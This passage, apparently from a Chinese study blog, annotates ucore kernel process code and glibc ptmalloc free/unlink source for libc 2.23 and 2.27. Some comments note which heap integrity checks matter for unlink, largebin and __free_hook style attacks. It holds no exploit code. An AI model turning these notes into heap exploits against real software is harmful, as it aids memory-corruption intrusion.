10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int
do_execve(const char *name, size_t len, unsigned char *binary, size_t size) {
struct mm_struct *mm = current->mm;

/* 检查当前进程所分配的内存区域是否存在异常 */
if (!user_mem_check(mm, (uintptr_t)name, len, 0)) {
return -E_INVAL;
}
if (len > PROC_NAME_LEN) {
len = PROC_NAME_LEN;
}

/* 回收当前进程的所有资源,包括已分配的内存空间/页目录表等等 */
char local_name[PROC_NAME_LEN + 1];
memset(local_name, 0, sizeof(local_name));
memcpy(local_name, name, len);

if (mm != NULL) {
lcr3(boot_cr3);
if (mm_count_dec(mm) == 0) {
exit_mmap(mm);
put_pgdir(mm);
mm_destroy(mm);
}
current->mm = NULL;
}
int ret;

/* 读取可执行文件 */
if ((ret = load_icode(binary, size)) != 0) {
goto execve_exit;
}

/* 设置新进程名称 */
set_proc_name(current, local_name);
return 0;

execve_exit:
do_exit(ret);
panic("already exit: %e.\n", ret);
}
  • do_wait:程序会使某个进程一直等待,直到(特定)子进程退出后,该进程才会回收该子进程的资源并函数返回,该函数的具体操作如下:
    • 检查当前进程所分配的内存区域是否存在异常
    • 查找特定/所有子进程中是否存在某个等待父进程回收的子进程(PROC_ZOMBIE)
      • 如果有,则回收该进程并函数返回
      • 如果没有,则设置当前进程状态为 PROC_SLEEPING 并执行 schedule 调度其他进程
      • 当该进程的某个子进程结束运行后,当前进程会被唤醒,并在 do_wait 函数中回收子进程的PCB内存资源
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
do_wait(int pid, int *code_store) {
struct mm_struct *mm = current->mm;
if (code_store != NULL) {
if (!user_mem_check(mm, (uintptr_t)code_store, sizeof(int), 1)) {
return -E_INVAL;
}
}

struct proc_struct *proc;
bool intr_flag, haskid;
repeat:
haskid = 0;
if (pid != 0) {
proc = find_proc(pid);
if (proc != NULL && proc->parent == current) {
haskid = 1;
if (proc->state == PROC_ZOMBIE) {
goto found;
}
}
}
else {
proc = current->cptr;
for (; proc != NULL; proc = proc->optr) {
haskid = 1;
if (proc->state == PROC_ZOMBIE) {
goto found;
}
}
}
if (haskid) {
current->state = PROC_SLEEPING;
current->wait_state = WT_CHILD;
schedule();
if (current->flags & PF_EXITING) {
do_exit(-E_KILLED);
}
goto repeat;
}
return -E_BAD_PROC;

found:
if (proc == idleproc || proc == initproc) {
panic("wait idleproc or initproc.\n");
}
if (code_store != NULL) {
*code_store = proc->exit_code;
}
local_intr_save(intr_flag);
{
unhash_proc(proc);
remove_links(proc);
}
local_intr_restore(intr_flag);
put_kstack(proc);
kfree(proc);
return 0;
}
  • do_exit:退出操作
    • 回收所有内存(除了PCB,该结构只能由父进程回收)
    • 设置当前的进程状态为 PROC_ZOMBIE
    • 设置当前进程的退出值 current->exit_code
    • 如果有父进程,则唤醒父进程,使其准备回收该进程的PCB
      • 正常情况下,除了 initprocidleproc 以外,其他进程一定存在父进程
    • 如果当前进程存在子进程,则设置所有子进程的父进程为 initproc
      • 这样倘若这些子进程进入结束状态,则 initproc 可以代为回收资源
    • 执行进程调度,一旦调度到当前进程的父进程,则可以马上回收该终止进程的 PCB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int
do_exit(int error_code) {
if (current == idleproc) {
panic("idleproc exit.\n");
}
if (current == initproc) {
panic("initproc exit.\n");
}

struct mm_struct *mm = current->mm;
if (mm != NULL) {
lcr3(boot_cr3);
if (mm_count_dec(mm) == 0) {
exit_mmap(mm);
put_pgdir(mm);
mm_destroy(mm);
}
current->mm = NULL;
}
current->state = PROC_ZOMBIE;
current->exit_code = error_code;

bool intr_flag;
struct proc_struct *proc;
local_intr_save(intr_flag);
{
proc = current->parent;
if (proc->wait_state == WT_CHILD) {
wakeup_proc(proc);
}
while (current->cptr != NULL) {
proc = current->cptr;
current->cptr = proc->optr;

proc->yptr = NULL;
if ((proc->optr = initproc->cptr) != NULL) {
initproc->cptr->yptr = proc;
}
proc->parent = initproc;
initproc->cptr = proc;
if (proc->state == PROC_ZOMBIE) {
if (initproc->wait_state == WT_CHILD) {
wakeup_proc(initproc);
}
}
}
}
local_intr_restore(intr_flag);

schedule();
panic("do_exit will not return!! %d.\n", current->pid);
}
  • syscall:系统调用
    • syscall 是内核程序为用户程序提供内核服务的一种方式
    • 在用户程序中,若需用到内核服务,则需要执行 sys_xxxx 函数(例如sys_kill
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static inline int
syscall(int num, ...) {
va_list ap;
va_start(ap, num);
uint32_t a[MAX_ARGS];
int i, ret;
for (i = 0; i < MAX_ARGS; i ++) {
a[i] = va_arg(ap, uint32_t);
}
va_end(ap);

asm volatile (
"int %1;"
: "=a" (ret)
: "i" (T_SYSCALL),
"a" (num),
"d" (a[0]),
"c" (a[1]),
"b" (a[2]),
"D" (a[3]),
"S" (a[4])
: "cc", "memory");
return ret;
}
  • 该函数会设置 %eax, %edx, %ecx, %ebx, %edi, %esi 五个寄存器的值
  • 分别为 syscall调用号、参数1、参数2、参数3、参数4、参数5
  • 然后执行int中断进入中断处理例程
  • 在中断处理例程中:程序会根据中断号执行 syscall 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void /* 和前面那个syscall同名,但不是同一个函数 */
syscall(void) {
struct trapframe *tf = current->tf;
uint32_t arg[5];
int num = tf->tf_regs.reg_eax;
if (num >= 0 && num < NUM_SYSCALLS) {
if (syscalls[num] != NULL) {
arg[0] = tf->tf_regs.reg_edx;
arg[1] = tf->tf_regs.reg_ecx;
arg[2] = tf->tf_regs.reg_ebx;
arg[3] = tf->tf_regs.reg_edi;
arg[4] = tf->tf_regs.reg_esi;
tf->tf_regs.reg_eax = syscalls[num](arg);
return ;
}
}
print_trapframe(tf);
panic("undefined syscall %d, pid = %d, name = %s.\n",
num, current->pid, current->name);
}

Ptmalloc源码分析:arena

我们知道一个线程申请的 1个/多个 堆包含很多的信息:二进制位信息,多个 malloc_chunk 信息等这些堆需要东西来进行管理,那么Arena就是来管理线程中的这些堆的

  • 一个线程只有一个 arnea,并且这些线程的arnea都是独立的不是相同的
  • 主线程的 arnea 称为 “main_arena”,子线程的arnea称为 “thread_arena”

libc-2.23

  • 管理 chunk 的结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct malloc_chunk* mchunkptr;

struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
  • 管理 arena 的结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# define NBINS 128

#ifndef INTERNAL_SIZE_T /* 判断是否定义INTERNAL_SIZE_T */
# define INTERNAL_SIZE_T size_t
#endif

struct malloc_state
{
mutex_t mutex; /* 同步访问相关,互斥锁(用来保证同步) */

int flags; /* 标志位(表示一些当前arena的特征) */

mfastbinptr fastbinsY[NFASTBINS]; /* Fastbins */

mchunkptr top; /* Top chunk */

mchunkptr last_remainder; /* 一个小请求的最近拆分的剩余部分 */

mchunkptr bins[NBINS * 2 - 2]; /* 常规bins chunk的链表数组 */

/* 因为每个bin链在bins数组中存储的是一个指针fd指针和一个bk指针,所以要NBINS*2 */
/* 又因为数组bins中索引为0,1的指针是不使用的,所以要减去2 */
/* 下标1是unsorted bin,2-63是small bin,64-126是large bin,共126个bin */

unsigned int binmap[BINMAPSIZE]; /* Bitmap of bins(一个循环单链表) */
/* 表示bin数组当中某一个下标的bin是否为空,用来在分配的时候加速 */

struct malloc_state *next; /* 分配区全局链表 */

struct malloc_state *next_free; /* 分配区空闲链表 */

INTERNAL_SIZE_T attached_threads; /* 连接到此arena的线程数 */

INTERNAL_SIZE_T system_mem; /* 用来跟踪当前被系统分配的内存总量 */
INTERNAL_SIZE_T max_system_mem; /* 最多从该arena的系统分配的内存大小 */
};

Ptmalloc源码分析:free

前几天被 free 给坑了,就一直报错搞得我很崩溃,痛定思痛,下定决心,看看 free 是怎么实现的


libc-2.23

  • 杂项宏定义:
1
2
3
4
5
6
7
8
#ifndef RETURN_ADDRESS /* 如果没有定义RETURN_ADDRESS */
#define RETURN_ADDRESS(X_) (NULL) /* 宏定义为NULL */
#endif

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* 作为“参考数据” */
#define chunksize(p) ((p)->size & ~(SIZE_BITS)) /* 获取真正的size */

#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) /* 获取chunk头 */
  • 关键结构体:
1
2
typedef struct malloc_state *mstate; /* 管理arena的结构体 */
typedef struct malloc_chunk* mchunkptr; /* 管理chunk的结构体 */
  • 和M位相关的宏定义
1
2
#define IS_MMAPPED 0x2 /* M位的具体位置 */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED) /* 获取M位 */
  • 和A位相关的宏定义
1
2
3
4
5
6
7
8
9
#define NON_MAIN_ARENA 0x4 /* A位的具体位置 */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) /* 获取A位 */

#define heap_for_ptr(ptr) \ /* 根据chunk头地址,计算对应的thread_arena */
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))

#define arena_for_chunk(ptr) \ /* 根据chunk头地址,获取对应的arena */
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
/* chunk->size中的A位可以检查程序是否属于main_arena,如果是就直接分配,如果不是就通过heap_for_ptr获取对应的thread_arena */
  • 和P位相关的宏定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* 获取当前chunk的状态(通过nextchunk->P) */

#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size |= PREV_INUSE
/* 设置当前chunk为alloc(通过nextchunk->P) */

#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size &= ~(PREV_INUSE)
/* 设置当前chunk为free(通过nextchunk->P) */

#define prev_inuse(p) ((p)->size & PREV_INUSE)
/* 获取lastchunk的状态(lastchunk的状态设置比较简单,不需要格外的宏定义) */

#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)
/* 获取nextchunk的状态(需要人工输入chunk->size) */

#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->size |= PREV_INUSE)
/* 设置nextchunk为alloc(需要人工输入chunk->size) */

#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->size &= ~(PREV_INUSE))
/* 设置nextchunk为free(需要人工输入chunk->size) */
  • __libc_free:free函数的具体实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void
__libc_free(void* mem)
{
mstate ar_ptr; /* 管理arena的结构体 */
mchunkptr p; /* 管理chunk的结构体 */

void (*hook) (void*, const void*)
= atomic_forced_read(__free_hook); /* 原子读获取__free_hook */
if (__builtin_expect(hook != NULL, 0)) /* __builtin_expect可以提高效率 */
{
(*hook)(mem, RETURN_ADDRESS(0)); /* 执行__free_hook */
return;
}

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem); /* 通过指向chunk->FD的指针,获取指向chunk->head的指针 */

if (chunk_is_mmapped(p)) /* 检查M位,看看该chunk是不是由mmap分配的 */
{
/* 查看动态brk/mmap阈值是否需要调整(不是重点) */
if (!mp_.no_dyn_threshold
&& p->size > mp_.mmap_threshold
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p); /* 调用munmap_chunk进行chunk的回收(不是重点) */
return;
}

ar_ptr = arena_for_chunk(p); /* 根据chunk头地址,获取对应的arena */
_int_free(ar_ptr, p, 0); /* 核心 */
}
libc_hidden_def(__libc_free) /* 标志修饰的函数在动态链接的过程中进行延迟绑定 */

其实就是检查一下 __free_hook 中有没有东西(如果有就执行),再检查一下M位(进行调整),最后获取“对应的arena”,作为 _int_free 的参数

  • 杂项宏定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define INTERNAL_SIZE_T size_t /* 将其定义为"size_t" */
#define SIZE_SZ (sizeof(INTERNAL_SIZE_T)) /* 定义其大小为"1字 */

#ifndef TRIM_FASTBINS /* 与"fastbin是否会和top chunk合并"有关的标志 */
#define TRIM_FASTBINS 0 /* 默认为0(不合并) */
#endif

#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) /* 强制使p指针加上s,但不改变其指向 */

#define fastbin_index(sz) \ /* 获取对应的下标 */
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

#define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) /* 和fastbin合并机制有关 */
/*
通常fastbins中的fastchunk是不会进行合并的
当被free的fastchunk与相邻的chunk合并后的大小大于FASTBIN_CONSOLIDATION_THRESHOLD时
此时内存碎片可能就比较多了,我们就需要将fastbins中的chunk都进行合并
*/

static void
free_perturb (char *p, size_t n) /* 设置perturb_byte(不清楚作用) */
{
if (__glibc_unlikely (perturb_byte))
memset (p, perturb_byte, n);
}
  • 和优化有关的宏定义:
1
2
#define likely(x)      __builtin_expect(!!(x), 1) /* 优化:大概率发生 */
#define unlikely(x) __builtin_expect(!!(x), 0) /* 优化:大概率不发生 */
  • 和对齐有关的宏定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifndef MALLOC_ALIGNMENT /* MALLOC_ALIGNMENT的定义比较复杂,用于实现内存对齐 */
# if !SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_16)
# define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)
# else
# define MALLOC_ALIGNMENT (2 *SIZE_SZ)
# endif
#endif

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) /* m判断是否对齐(这里的m通常为chunk->size) */

#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK) /* 实现p的对齐(具体什么原理我没有看懂) */
  • 和更新 size,presize 有关的宏定义:
1
2
3
4
5
6
#define set_head_size(p, s)  ((p)->size = (((p)->size & SIZE_BITS) | (s)))
/* 更新chunk->size,不干扰其标志位 */
#define set_head(p, s) ((p)->size = (s))
/* 更新chunk->size,需要手动写入标志位 */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))
/* 更新nextchunk->prevsize,需要手动写入标志位 */
  • _int_free:__libc_free 的核心部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
static void
_int_free(mstate av, mchunkptr p, int have_lock) /* have_lock==0 */
{
INTERNAL_SIZE_T size; /* target chunk->size */
mfastbinptr* fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

const char* errstr = NULL;
int locked = 0;

size = chunksize(p); /* 获取目标chunk真正的大小 */

if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0)
|| __builtin_expect(misaligned_chunk(p), 0))
/* 检查1: 简单检查一下chunk头指针的合理性 && 实现对齐后的chunk不为空 */
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked) /* 如果有互斥锁 */
(void)mutex_unlock(&av->mutex); /* 互斥锁解锁 */
malloc_printerr(check_action, errstr, chunk2mem(p), av);
return;
}

if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
/* 检查2: chunk的大小必须大于MINSIZE(4字) && 检查chunk->size是否对齐 */
{
errstr = "free(): invalid size";
goto errout;
}

check_inuse_chunk(av, p); /* DEBUG:检查chunk的前一个chunk是否不被使用 */

/* 根据if语句,觉得是否把chunk放入fastbin */
if ((unsigned long)(size) <= (unsigned long)(get_max_fast())

#if TRIM_FASTBINS /* 允许fastbin和top chunk进行合并(附加一个if条件) */
&& (chunk_at_offset(p, size) != av->top)
/* 附加if条件为:目标chunk不和top chunk相邻(否则进行合并) */
#endif /* 不允许fastbin和top chunk进行合并(没有附加if条件) */
) {
/* <--情况1:将会把该chunk放入fastbin--> */
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(chunksize(chunk_at_offset(p, size))
>= av->system_mem, 0))
{
/* 检查3: nextchunk->size必须大于2字,小于malloc_state->system_mem */
if (have_lock /* have_lock==0(表示没有锁) */
|| ({ assert(locked == 0); /* 断言没有锁 */
mutex_lock(&av->mutex); /* 加互斥锁 */
locked = 1;
chunk_at_offset(p, size)->size <= 2 * SIZE_SZ
|| chunksize(chunk_at_offset(p, size)) >= av->system_mem;
}))
/* 检查4: 加锁后重复检查3 */
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (!have_lock) /* have_lock==0(恒成立) */
{
(void)mutex_unlock(&av->mutex); /* 解互斥锁 */
locked = 0;
}
}

free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); /* 将chunk的mem部分全部设置为perturb_byte */

set_fastchunks(av); /* 设置fastchunks标记位 */
unsigned int idx = fastbin_index(size);
fb = &fastbin(av, idx); /* 取出fastbin的头部 */

mchunkptr old = *fb, old2; /* 使用原子操作,将P插入链表中 */
unsigned int old_idx = ~0u;
do
{
if (__builtin_expect(old == p, 0))
/* 检查5: 检查原链表头的chunk是否等于p,经典Double free检查 */
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old)); /* 获取对应的下标 */
p->fd = old2 = old; /* 让p的fd指针变为原来的头部 */
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2); /* 如果fb等于old2,就将fb赋值为p */

if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0))
/* 检查6: 先前的old_idx不属于当前的idx(说明修改了size),这个一般遇不到,因为从free到chunk进入fastbin的过程中,我们都是不能控制size的,一般都改不了size */
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

else if (!chunk_is_mmapped(p)) {
/* <--情况2:将会在其他未映射的块到达时合并chunk--> */
if (!have_lock) {
(void)mutex_lock(&av->mutex);
locked = 1;
}

nextchunk = chunk_at_offset(p, size); /* 获取物理相邻的下一个chunk */

if (__glibc_unlikely(p == av->top))
/* 检查7: 将要合并的chunk不能是top chunk */
{
errstr = "double free or corruption (top)";
goto errout;
}
if (__builtin_expect(contiguous(av)
&& (char*)nextchunk
>= ((char*)av->top + chunksize(av->top)), 0))
/* 检查8: nextchunk不能超出top chunk的范围 */
{
errstr = "double free or corruption (out)";
goto errout;
}
if (__glibc_unlikely(!prev_inuse(nextchunk)))
/* 检查9: "nextchunk->P位==0"不能成立(等于"0"表示chunk已经是free状态) */
{
errstr = "double free or corruption (!prev)";
goto errout;
}

nextsize = chunksize(nextchunk); /* 获取物理相邻的下一个chunk的大小 */
if (__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(nextsize >= av->system_mem, 0))
/* 检查10: nextchunk->size必须大于2字,小于malloc_state->system_mem */
{
errstr = "free(): invalid next size (normal)";
goto errout;
}

free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); /* 将chunk的mem部分全部设置为perturb_byte */

/* 后向合并(前一个chunk为free) */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize; /* 合并chunk */
p = chunk_at_offset(p, -((long)prevsize)); /* 更新chunk->head */
unlink(av, p, bck, fwd); /* 合并后的chunk脱链 */
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* 表示nextchunk是否free(nextchunk->nextchunk->P位) */

/* 前向合并(后一个chunk为free) */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd); /* 后一个chunk脱链 */
size += nextsize; /* 进行合并(不需要更新chunk->head) */
}
else
clear_inuse_bit_at_offset(nextchunk, 0);

/* 合并后的chunk插入unsortedbin的链表头 */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
/* 检查11: 相当于 bck->fd->bk != bck,只要不破坏main_arena,通过这个检查应该没有什么问题(就是在进行main_arena劫持的时候,会造成影响) */
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size)) /* 如果属于largebin的范围 */
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE); /* 更新P位 */
set_foot(p, size);

check_free_chunk(av, p); /* DEBUG:简单检查 */
}

else {
/* <--情况3:将会和top chunk进行合并--> */
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
/* 触发fastbin合并机制 */
if (have_fastchunks(av)) /* 如果存在fastbin就进行合并 */
malloc_consolidate(av); /* 合并所有的fastbin */

if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM /* 和heap_trim有关的标志位 */
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
}
else {
heap_info* heap = heap_for_ptr(top(av));

assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad); /* 调用heap_trim尝试缩小该heap */
}
}

if (!have_lock) {
assert(locked);
(void)mutex_unlock(&av->mutex);
}
}

else {
munmap_chunk(p); /* 如果是mmap分配出来的chunk,直接进行回收 */
}
}

现在 free 函数就分析完毕了:

  • __libc_free 里真正进行free的函数是 _int_free 函数,首先执行 __free_hook
  • 然后该函数会判断当前释放的 chunk 是否为 fastbin(分3种情况)
    • 情况1:将会把该chunk放入fastbin
      • 查看当前的头部与释放的chunk是否一致
      • 然后检查其 old chunk(原来的bin头)头部的 size 是否满足属于该 bin 的 idx 下标条件
      • 最后插入对应 fastbin 的链表头
    • 情况2:将会在其他未映射的块到达时合并chunk
      • 判断该chunk应该进行“前向合并”,“后向合并”,还是两者都有
      • 然后就是一堆检查
      • 最后插入对应 unsortedbin 的链表头
    • 情况3:将会和top chunk进行合并
      • 进行 top chunk 合并
      • 最后成为 top chunk 的一部分
  • 接下来会判断是否触发 fastbin 合并机制
    • 会调用heap_trim尝试缩小该heap
  • 最后如果chunk是mmap出来的,则直接释放

最后再看下 unlink 的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define unlink(AV, P, BK, FD) {                                           
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
/* 检查1: 检查nextchunk->bk是不是chunk,检查lastchunk->fd是不是chunk */
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else { /* 进行脱链 */
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 如果检测到目标chunk属于largebin,并且chunk->fd_nextsize不为空 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
/* 检查2: 检查1的largebin版本,主要用于横向链表(用fd_nextsize和bk_nextsize组织的链表,用于管理同一largebin中,不同size的large chunk) */
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
/* 表示largebin中:脱链chunk的下一个chunk不是纵向链表的链表头 */
if (P->fd_nextsize == P)
/* 表示脱链chunk是当前largebin中唯一纵向链表的链表头 */
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize; /* 继承p的fd_nextsize */
FD->bk_nextsize = P->bk_nextsize; /* 继承p的bk_nextsize */
/* p必须是纵向链表头,以下操作才有意义 */
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else { /* 表示脱链的chunk是纵向链表的链表头 */
/* 如果某个纵向链表头脱链,则需要在纵向链表中完成脱链操作 */
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
  • 这个 unlink 的过程,会在 unlink 攻击中起作用
  • 后面关于 largebin 的部分,则会在 largebin attack 中起作用

libc-2.27

  • 杂项宏定义:
1
2
3
4
5
6
7
8
9
10
#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 * SIZE_SZ)

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
  • 和 arena 有关的宏定义:
1
2
3
4
5
6
7
8
9
10
11
#define arena_lock(ptr, size) do { \
if (ptr) \
__libc_lock_lock (ptr->mutex); \
else \
ptr = arena_get2 ((size), NULL); \
} while (0) /* 对malloc_state->mutex进行加锁 */

#define arena_get(ptr, size) do { \
ptr = thread_arena; \
arena_lock (ptr, size); \
} while (0) /* 从thread_arena获得一个分配区 */
  • 和 tcache 有关的函数和结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
# define TCACHE_MAX_BINS		64 /* 最大tcachebin数量 */
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1) /* 最大tcachebin大小 */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) /* 根据TCACHE_MAX_BINS计算MAX_TCACHE_SIZE(固定值) */

# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init(); /* 对tcache进行初始化 */

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; /* 这里是1字节,在libc-2.31中就变成了2字节 */
tcache_entry* entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
  • __libc_free:free函数的具体实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void
__libc_free(void* mem)
{
mstate ar_ptr; /* 管理arena的结构体 */
mchunkptr p; /* 管理chunk的结构体 */

void (*hook) (void*, const void*)
= atomic_forced_read(__free_hook); /* 原子读__free_hook */
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0)); /* 执行__free_hook */
return;
}

if (mem == 0)
return;

p = mem2chunk(mem); /* 获取chunk头 */

if (chunk_is_mmapped(p)) /* 如果该chunk是mmap分配的(通过检查M位) */
{
if (!mp_.no_dyn_threshold
&& chunksize_nomask(p) > mp_.mmap_threshold
&& chunksize_nomask(p) <= DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK(p))
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p); /* 调用munmap_chunk进行chunk的回收(不是重点) */
return;
}

